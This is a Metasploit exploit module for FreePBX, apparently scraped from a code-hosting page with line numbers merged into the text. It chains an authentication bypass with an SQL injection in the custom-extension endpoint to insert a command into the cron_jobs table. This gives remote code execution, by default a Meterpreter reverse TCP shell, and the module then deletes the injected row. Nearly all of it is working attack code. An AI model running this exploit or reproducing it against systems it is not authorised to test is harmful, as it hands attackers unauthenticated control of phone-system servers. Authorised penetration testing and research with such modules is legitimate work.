Path: blob/master/modules/exploits/unix/http/freepbx_custom_extension_rce.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'FreePBX endpoint SQLi to RCE',15'Description' => %q{16FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use17VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,18while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an19authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it20allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module21exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an22unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into th23cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the24operating system.25},26'License' => MSF_LICENSE,27'Author' => [28'Noah King', # research29'msutovsky-r7', # module30],31'References' => [32[ 'CVE', '2025-66039'], # Authentication Bypass33[ 'CVE', '2025-61675'], # SQL injections34[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']35],36'Platform' => ['linux'],37'Arch' => ARCH_CMD,38'Targets' => [39[40'Unix Command',41{42'DefaultOptions' =>43{44'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',45'WfsDelay' => 70 # cronjob may take up to a minute to start46}47}48]49],50'Privileged' => false,51'DisclosureDate' => '2025-12-11',52'DefaultTarget' => 0,53'Notes' => {54'Stability' => [CRASH_SAFE],55'Reliability' => [REPEATABLE_SESSION],56'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]57}58)59)6061register_options(62[63OptString.new('USERNAME', [true, 'A valid FreePBX user']),64]65)66end6768def sqli_custom_extension(payload)69send_request_cgi({70'uri' => normalize_uri('admin', 'config.php'),71'method' => 'POST',72'headers' => {73'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))74},75'vars_get' => {76'display' => 'endpoint',77'view' => 'customExt'78},79'vars_post' => {80'id' => payload81}82})83end8485def check86res = sqli_custom_extension(%('))87if res&.code == 50088return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass')89end9091Exploit::CheckCode::Safe('No SQL injection detected, target is patched')92end9394def exploit95@job_name = Rex::Text.rand_text_alpha(8..12)9697rce_payload = 'INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)'98rce_payload += " VALUES ('sysadmin','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1)"99100res = sqli_custom_extension(%(1';#{rce_payload} -- ))101102if res&.code == 401103print_good("Created cronjob with job name: '#{@job_name}'")104print_status('Waiting for cronjob to trigger...')105else106fail_with(Failure::PayloadFailed, 'Cronjob was not created.')107end108end109110def cleanup111super112113return unless @job_name114115# Remove the created cronjob116res = sqli_custom_extension(%('; DELETE FROM cron_jobs WHERE jobname='#{@job_name}' -- ))117118print_status('Attempting to perform cleanup')119120if res&.code == 401121print_good('Cronjob removed.')122else123print_bad("Cronjob #{@job_name} not removed, please perform manual cleanup!")124end125end126end127128129